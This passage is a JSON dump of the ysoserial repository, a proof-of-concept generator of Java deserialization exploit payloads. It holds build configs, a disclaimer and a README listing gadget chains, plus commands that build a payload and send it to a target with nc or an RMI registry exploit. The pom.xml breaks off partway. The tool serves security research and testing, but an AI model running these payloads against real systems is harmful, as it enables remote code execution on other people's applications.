[
  {
    "path": ".editorconfig",
    "content": "root = true\n\n[*]\nend_of_line = lf\ncharset = utf-8\ntrim_trailing_whitespace = true\ninsert_final_newline = true\nindent_style = space\nindent_size = 4\nmax_line_length = 120\n\n[*.{yml,yaml}]\nindent_size = 2\n"
  },
  {
    "path": ".github/workflows/publish.yml",
    "content": "name: publish jar\non:\n  push:\n    tags:\n      - \"v*.*.*\"\npermissions:\n  contents: write\n\njobs:\n  publish:\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n      packages: write\n    steps:\n      - uses: actions/checkout@v3\n      - uses: actions/setup-java@v3\n        with:\n          java-version: '8'\n          distribution: 'adopt'\n          cache: 'maven'\n      - name: Set version\n        run: mvn versions:set -DnewVersion=${{ github.ref_name }}\n      - name: Build jar\n        run: mvn -B clean package -DskipTests \n      # - name: publish maven jar\n      #   run: mvn -B deploy -DskipTests -DrepositoryId=github\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n\n\n      - name: Rename artifact\n        run: mv target/ysoserial-${{ github.ref_name }}-all.jar target/ysoserial-all.jar\n\n      - name: Publish GitHub release\n        uses: softprops/action-gh-release@v1\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}        \n        with:\n          files: target/ysoserial-all.jar"
  },
  {
    "path": ".gitignore",
    "content": "# java\n*.class\n\n# mvn\ntarget/\n\n# eclipse\n.classpath\n.project\n.settings/\n\n# idea\n.idea/\n*.iml\n\n# tests\npwntest\n"
  },
  {
    "path": ".travis.yml",
    "content": "dist: trusty\nlanguage: java\n\ncache:\n  directories:\n  - $HOME/.m2\n  - $HOME/.mvn/\n\n# jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713\naddons:\n  apt:\n    packages:\n      - openjdk-6-jdk\n\nbefore_install:\n  - > # install mvn 3.2.5 for use with java6\n      which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 &&\n      curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz |\n      tar xz -C $HOME/.mvn/3.2.5 --strip-components=1\n  - if [ \"$TRAVIS_JDK_VERSION\" == \"openjdk6\" ]; then jdk_switcher use openjdk6; fi\n  - mvn -v\n\nafter_script:\n  - > # print more detailed info about test results\n      cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml |\n      grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --\n\nmatrix:\n  fast_finish: true\n  allow_failures:\n    - jdk: oraclejdk11\n    - jdk: openjdk6\n    - jdk: openjdk7\n    - jdk: openjdk9\n    - jdk: openjdk10\n    - jdk: openjdk11\n  include:\n    #- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884\n    - jdk: oraclejdk8\n    - jdk: oraclejdk11\n    - jdk: openjdk6\n      env: PATH=$HOME/.mvn/3.2.5/bin:$PATH\n    - jdk: openjdk7\n    - jdk: openjdk8\n    - jdk: openjdk9\n    - jdk: openjdk10\n    - jdk: openjdk11\n\n\n"
  },
  {
    "path": "DISCLAIMER.txt",
    "content": "DISCLAIMER\n\nThis software has been created purely for the purposes of academic research and\nfor the development of effective defensive techniques, and is not intended to be\nused to attack systems except where explicitly authorized. Project maintainers \nare not responsible or liable for misuse of the software. Use responsibly."
  },
  {
    "path": "Dockerfile",
    "content": "FROM maven:3.5-jdk-8 as builder\n\nWORKDIR /app\n\n# download artifacts\nCOPY pom.xml .\nCOPY assembly.xml .\nRUN mvn dependency:resolve\nRUN mvn verify\nRUN mvn compiler:help\n\n# build\nCOPY src ./src\nRUN mvn clean package -DskipTests\nRUN mv target/ysoserial-*all*.jar target/ysoserial.jar\n\nFROM eclipse-temurin:8-jdk-alpine\n\nWORKDIR /app\n\nCOPY --from=builder /app/target/ysoserial.jar .\n\nENTRYPOINT [\"java\", \"-jar\", \"ysoserial.jar\"]\n"
  },
  {
    "path": "LICENSE.txt",
    "content": "Copyright (c) 2013 Chris Frohoff\n\nMIT License\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE."
  },
  {
    "path": "README.md",
    "content": "\n# ysoserial\n\n[![GitHub release](https://img.shields.io/github/downloads/frohoff/ysoserial/latest/total)](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar)\n[![Travis Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/github/frohoff/ysoserial)\n[![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)\n[![JitPack](https://jitpack.io/v/frohoff/ysoserial.svg)](https://jitpack.io/#frohoff/ysoserial)\n\nA proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.\n\n![logo](ysoserial.png)\n\n## Description\n\nOriginally released as part of AppSecCali 2015 Talk\n[\"Marshalling Pickles: how deserializing objects will ruin your day\"](\n        https://frohoff.github.io/appseccali-marshalling-pickles/)\nwith gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).\nLater updated to include additional gadget chains for\n[JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries.\n\n__ysoserial__ is a collection of utilities and property-oriented programming \"gadget chains\" discovered in common java\nlibraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of\nobjects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then\nserializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes\nthis data, the chain will automatically be invoked and cause the command to be executed on the application host.\n\nIt should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having\ngadgets on the classpath.\n\n## Disclaimer\n\nThis software has been created purely for the purposes of academic research and\nfor the development of effective defensive techniques, and is not intended to be\nused to attack systems except where explicitly authorized. Project maintainers\nare not responsible or liable for misuse of the software. Use responsibly.\n\n## Usage\n\n```shell\n$  java -jar ysoserial.jar\nY SO SERIAL?\nUsage: java -jar ysoserial.jar [payload] '[command]'\n  Available payload types:\n     Payload             Authors                     Dependencies\n     -------             -------                     ------------\n     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2\n     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5\n     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11\n     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0\n     Clojure             @JackOfMostTrades           clojure:1.8.0\n     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2\n     CommonsCollections1 @frohoff                    commons-collections:3.1\n     CommonsCollections2 @frohoff                    commons-collections4:4.0\n     CommonsCollections3 @frohoff                    commons-collections:3.1\n     CommonsCollections4 @frohoff                    commons-collections4:4.0\n     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1\n     CommonsCollections6 @matthias_kaiser            commons-collections:3.1\n     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1\n     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4\n     Groovy1             @frohoff                    groovy:2.3.9\n     Hibernate1          @mbechler\n     Hibernate2          @mbechler\n     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21\n     JRMPClient          @mbechler\n     JRMPListener        @mbechler\n     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1\n     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21\n     Jdk7u21             @frohoff\n     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2\n     MozillaRhino1       @matthias_kaiser            js:1.7R2\n     MozillaRhino2       @_tint0                     js:1.7R2\n     Myfaces1            @mbechler\n     Myfaces2            @mbechler\n     ROME                @mbechler                   rome:1.0\n     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE\n     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2\n     URLDNS              @gebl\n     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14\n     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4\n```\n\n## Examples\n\n```shell\n$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd\n0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl\n0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A\n0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat\n...\n0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov\n0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........\n0000570: 0078 7071 007e 003a                      .xpq.~.:\n\n$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin\n$ nc 10.10.10.10 1099 < groovypayload.bin\n\n$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe\n```\n\n## Installation\n\n[![GitHub release](https://img.shields.io/github/downloads/frohoff/ysoserial/latest/total)](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar)\n\nDownload the [latest release jar](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar) from GitHub releases.\n\n## Building\n\nRequires Java 1.7+ and Maven 3.x+\n\n```mvn clean package -DskipTests```\n\n## Code Status\n\n[![Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/github/frohoff/ysoserial)\n[![Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)\n\n## Contributing\n\n1. Fork it\n2. Create your feature branch (`git checkout -b my-new-feature`)\n3. Commit your changes (`git commit -am 'Add some feature'`)\n4. Push to the branch (`git push origin my-new-feature`)\n5. Create new Pull Request\n\n## See Also\n* [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet): info on vulnerabilities, tools, blogs/write-ups, etc.\n* [marshalsec](https://github.com/frohoff/marshalsec): similar project for various Java deserialization formats/libraries\n* [ysoserial.net](https://github.com/pwntester/ysoserial.net): similar project for .NET deserialization\n"
  },
  {
    "path": "appveyor.yml",
    "content": "# based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml\n\n# build version\nversion: '{build}'\n\n# Do not build on tags\nskip_tags: true\n\n# enviroment settings\nenvironment:\n  matrix:\n    - JAVA_HOME: C:\\Program Files\\Java\\jdk1.6.0\n      M2_HOME: C:\\bin\\apache-maven-3.2.5\n    - JAVA_HOME: C:\\Program Files\\Java\\jdk1.7.0\n      MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2\n    - JAVA_HOME: C:\\Program Files\\Java\\jdk1.8.0\n\nmatrix:\n  allow_failures:\n    - JAVA_HOME: C:\\Program Files\\Java\\jdk1.6.0\n    - JAVA_HOME: C:\\Program Files\\Java\\jdk1.7.0\n\n# install required tools (maven, secure-file, encrypted files)\ninstall:\n  - cmd: if not exist \"C:\\bin\\apache-maven-3.2.5\\bin\\*.*\" cinst maven --version 3.2.5 --allow-empty-checksums\n  - cmd: echo %JAVA_HOME%\n  - cmd: echo %M2_HOME%\n\n# build and install artifacts\nbuild_script:\n  - '\"%M2_HOME%\\bin\\mvn\" clean install -DskipTests'\n\n# verify artifacts\ntest_script:\n  - '\"%M2_HOME%\\bin\\mvn\" test'\n\n# preserve dependencies between builds\ncache:\n  - C:\\Users\\appveyor\\.m2\n  - C:\\bin\\apache-maven-3.2.5\n"
  },
  {
    "path": "assembly.xml",
    "content": "<assembly\n    xmlns=\"http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3 http://maven.apache.org/xsd/assembly-1.1.3.xsd\">\n    <id>fat-tests</id>\n    <formats>\n        <format>jar</format>\n    </formats>\n    <includeBaseDirectory>false</includeBaseDirectory>\n    <dependencySets>\n        <dependencySet>\n            <outputDirectory>/</outputDirectory>\n            <useProjectArtifact>true</useProjectArtifact>\n            <unpack>true</unpack>\n            <scope>test</scope>\n        </dependencySet>\n    </dependencySets>\n    <fileSets>\n        <fileSet>\n            <directory>${project.build.directory}/test-classes</directory>\n            <outputDirectory>/</outputDirectory>\n            <includes>\n                <include>**/*.class</include>\n            </includes>\n            <useDefaultExcludes>true</useDefaultExcludes>\n        </fileSet>\n    </fileSets>\n</assembly>\n"
  },
  {
    "path": "pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>ysoserial</groupId>\n\t<artifactId>ysoserial</artifactId>\n\t<version>0.0.6-SNAPSHOT</version>\n\t<packaging>jar</packaging>\n\n\t<name>ysoserial</name>\n\t<url>https://github.com/frohoff/ysoserial/</url>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.5.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<!-- maximize compatibility -->\n\t\t\t\t\t<source>1.6</source>\n\t\t\t\t\t<target>1.6</target>\n\t\t\t\t\t<!-- ignore noisy internal api warnings -->\n\t\t\t\t\t<compilerArgument>-XDignore.symbol.file</compilerArgument>\n\t\t\t\t\t<fork>true</fork>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<artifactId>maven-assembly-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<finalName>${project.artifactId}-${project.version}-all</finalName>\n\t\t\t\t\t<appendAssemblyId>false</appendAssemblyId>\n\t\t\t\t\t<archive>\n\t\t\t\t\t\t<manifest>\n\t\t\t\t\t\t\t<mainClass>ysoserial.GeneratePayload</mainClass>\n\t\t\t\t\t\t</manifest>\n\t\t\t\t\t</archive>\n\t\t\t\t\t<descriptors>\n\t\t\t\t\t\t<descriptor>assembly.xml</descriptor>\t\t\t\t\t\t\n\t\t\t\t\t</descriptors>\n\t\t\t\t</configuration>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>make-assembly</id>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>single</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-surefire-plugin</artifactId>\n\t\t\t\t<version>3.0.0-M1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<trimStackTrace>false</trimStackTrace>\n\t\t\t\t\t<systemPropertyVariables>\n\t\t\t\t\t\t<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>\n\t\t\t\t\t</systemPropertyVariables>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\t<repositories>\n\t\t<repository>\n\t\t\t<id>central</id>\n\t\t\t<layout>default</layout>\n\t\t\t<url>https://repo.maven.apache.org/maven2/</url>\n\t\t</repository>\t\t\n\t\t<repository>\n\t\t\t<id>ysoserial-m2-repo</id>\n\t\t\t<layout>default</layout>\n\t\t\t<url>https://raw.githubusercontent.com/frohoff/ysoserial-m2-repo/master</url>\n\t\t</repository>\n\t\t<repository>\n\t\t\t<id>jenkins</id>\n\t\t\t<layout>default</layout>\n\t\t\t<url>https://repo.jenkins-ci.org/public/</url>\n\t\t</repository>\n\t</repositories>\n\n\t<dependencies>\n\n\t\t<!-- testing depedencies -->\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.12</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.mockito</groupId>\n\t\t\t<artifactId>mockito-core</artifactId>\n\t\t\t<version>1.10.19</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.github.stefanbirkner</groupId>\n\t\t\t<artifactId>system-rules</artifactId>\n\t\t\t<version>1.8.0</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.nanohttpd</groupId>\n\t\t\t<artifactId>nanohttpd</artifactId>\n\t\t\t<version>2.2.0</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\n\t\t<!-- non-gadget dependencies -->\n\n\t\t<dependency>\n\t\t\t<groupId>org.reflections</groupId>\n\t\t\t<artifactId>reflections</artifactId>\n\t\t\t<version>0.9.9</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jboss.shrinkwrap.resolver</groupId>\n\t\t\t<artifactId>shrinkwrap-resolver-depchain</artifactId>\n\t\t\t<version>2.2.6</version>\n\t\t\t<type>pom</type>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.javassist</groupId>\n\t\t\t<artifactId>javassist</artifactId>\n\t\t\t<version>3.19.0-GA</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.nqzero</groupId>\n\t\t\t<artifactId>permit-reflect</artifactId>\n\t\t\t<version>0.3</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-codec</groupId>\n\t\t\t<artifactId>commons-codec</artifactId>\n\t\t\t<version>1.9</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>2.6</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<artifactId>remoting</artifactId>\n\t\t\t<groupId>org.jenkins-ci.main</groupId>\n\t\t\t<version>2.55</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jboss.logging</groupId>\n\t\t\t<artifactId>jboss-logging</artifactId>\n\t\t\t<version>3.3.0.Final</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jboss.remoting</groupId>\n\t\t\t<artifactId>jboss-remoting</artifactId>\n\t\t\t<version>4.0.19.Final</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jboss</groupId>\n\t\t\t<artifactId>jboss-common-core</artifactId>\n\t\t\t<version>2.5.0.Final</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.jboss.logging</groupId>\n\t\t\t\t\t<artifactId>jboss-logging-spi</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jboss.xnio</groupId>\n\t\t\t<artifactId>xnio-nio</artifactId>\n\t\t\t<version>3.3.4.Final</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jboss.sasl</groupId>\n\t\t\t<artifactId>jboss-sasl</artifactId>\n\t\t\t<version>1.0.5.Final</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jboss.remotingjmx</groupId>\n\t\t\t<artifactId>remoting-jmx</artifactId>\n\t\t\t<version>2.0.1.Final</version>\n\t\t</dependency>\n\n\t\t<!-- gadget dependecies -->\n\n\t\t<dependency>\n\t\t\t<groupId>commons-collections</groupId>\n\t\t\t<artifactId>commons-collections</artifactId>\n\t\t\t<version>3.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.beanshell</groupId>\n\t\t\t<artifactId>bsh</artifactId>\n\t\t\t<version>2.0b5</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-beanutils</groupId>\n\t\t\t<artifactId>commons-beanutils</artifactId>\n\t\t\t<version>1.9.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-collections4</artifactId>\n\t\t\t<version>4.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.codehaus.groovy</groupId>\n\t\t\t<artifactId>groovy</artifactId>\n\t\t\t<version>2.3.9</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-core</artifactId>\n\t\t\t<version>4.1.4.RELEASE</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>4.1.4.RELEASE</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.hibernate</groupId>\n\t\t\t<artifactId>hibernate-core</artifactId>\n\t\t\t<version>4.3.11.Final</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-aop</artifactId>\n\t\t\t<version>4.1.4.RELEASE</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>net.sf.json-lib</groupId>\n\t\t\t<artifactId>json-lib</artifactId>\n\t\t\t<classifier>jdk15</classifier>\n\t\t\t<version>2.4</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-fileupload</groupId>\n\t\t\t<artifactId>commons-fileupload</artifactId>\n\t\t\t<version>1.3</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.wicket</groupId>\n\t\t\t<artifactId>wicket-util</artifactId>\n\t\t\t<version>6.23.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.mchange</groupId>\n\t\t\t<artifactId>c3p0</artifactId>\n\t\t\t<version>0.9.5.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.myfaces.core</groupId>\n\t\t\t<artifactId>myfaces-impl</artifactId>\n\t\t\t<version>2.2.9</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>xalan</groupId>\n\t\t\t<artifactId>xalan</artifactId>\n\t\t\t<version>2.7.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>rome</groupId>\n\t\t\t<artifactId>rome</artifactId>\n\t\t\t<version>1.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.python</groupId>\n\t\t\t<artifactId>jython-standalone</artifactId>\n\t\t\t<version>2.5.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>rhino</groupId>\n\t\t\t<artifactId>js</artifactId>\n\t\t\t<version>1.7R2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t<groupId>javassist</groupId>\n\t\t<artifactId>javassist</artifactId>\n\t\t<version>3.12.0.GA</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jboss.weld</groupId>\n\t\t\t<artifactId>weld-core</artifactId>\n\t\t\t<version>1.1.33.Final</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jboss.interceptor</groupId>\n\t\t\t<artifactId>jboss-interceptor-core</artifactId>\n\t\t\t<version>2.0.0.Final</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jboss.interceptor</groupId>\n\t\t\t<artifactId>jboss-interceptor-spi</artifactId>\n\t\t\t<version>2.0.0.Final</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.enterprise</groupId>\n\t\t\t<artifactId>cdi-api</artifactId>\n\t\t\t<version>1.0-SP1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.interceptor</groupId>\n\t\t\t<artifactId>javax.interceptor-api</artifactId>\n\t\t\t<version>3.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.7.21</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-jdk14</artifactId>\n\t\t\t<version>1.7.21</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.clojure</groupId>\n\t\t\t<artifactId>clojure</artifactId>\n\t\t\t<version>1.8.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.vaadin</groupId>\n\t\t\t<artifactId>vaadin-server</artifactId>\n\t\t\t<version>7.7.14</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.aspectj</groupId>\n\t\t\t<artifactId>aspectjweaver</artifactId>\n\t\t\t<version>1.9.5</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.click</groupId>\n\t\t\t<artifactId>click-nodeps</artifactId>\n\t\t\t<version>2.3.0</version>\n\t\t</dependency>\n\t</dependencies>\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>jdk6</id>\n\t\t\t<activation>\n\t\t\t\t<jdk>1.6</jdk>\n\t\t\t</activation>\n\t\t\t<build>\n\t\t\t\t<plugins>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-surefire-plugin</artifactId>\n\t\t\t\t\t\t<version>2.22.1</version>\n\t\t\t\t\t</plugin>\n\t\t\t\t</plugins>\n\t\t\t</build>\n\t\t\t<dependencies>\n\t\t\t\t<dependency>\n\t\t\t\t\t<groupId>javax.el</groupId>\n\t\t\t\t\t<artifactId>javax.el-api</artifactId>\n\t\t\t\t\t<version>3.0.0</version>\n\t\t\t\t</dependency>\n\t\t\t</dependencies>\n\t\t\t<!-- workaround for non-overlapping TLS versions in JDK6 and central repo\n\t\t\t https://central.sonatype.org/articles/2018/May/04/discontinued-support-for-tlsv11-and-below/ -->\n\t\t\t<repositories>\n\t\t\t\t<repository>\n\t\t\t\t\t<id>repo1</id>\n\t\t\t\t\t<url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->\n\t\t\t\t</repository>\n\t\t\t</repositories>\n\t\t\t<pluginRepositories>\n\t\t\t\t<pluginRepository>\n\t\t\t\t\t<id>repo1</id>\n\t\t\t\t\t<url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->\n\t\t\t\t</pluginRepository>\n\t\t\t</pluginRepositories>\n\t\t</profile>\n\n\t\t<profile>\n\t\t\t<id>hibernate5</id>\n\t\t\t<activation>\n\t\t\t\t<property>\n\t\t\t\t\t<name>hibernate5</name>\n\t\t\t\t</property>\n\t\t\t</activation>\n\t\t\t<dependencies>\n\t\t\t\t<dependency>\n\t\t\t\t\t<groupId>org.hibernate</groupId>\n\t\t\t\t\t<artifactId>hibernate-core</artifactId>\n\t\t\t\t\t<version>5.0.7.Final</version>\n\t\t\t\t</dependency>\n\t\t\t\t<dependency>\n\t\t\t\t\t<groupId>javax.el</groupId>\n\t\t\t\t\t<artifactId>javax.el-api</artifactId>\n\t\t\t\t\t<version>3.0.0</version>\n\t\t\t\t</dependency>\n\t\t\t</dependencies>\n\t\t</profile>\n\n\t\t<profile>\n\t\t\t<id>apache-el</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t\t<property>\n\t\t\t\t\t<name>el</name>\n\t\t\t\t\t<value>apache</value>\n\t\t\t\t</property>\n\t\t\t</activation>\n\t\t\t<dependencies>\n\t\t\t\t<dependenc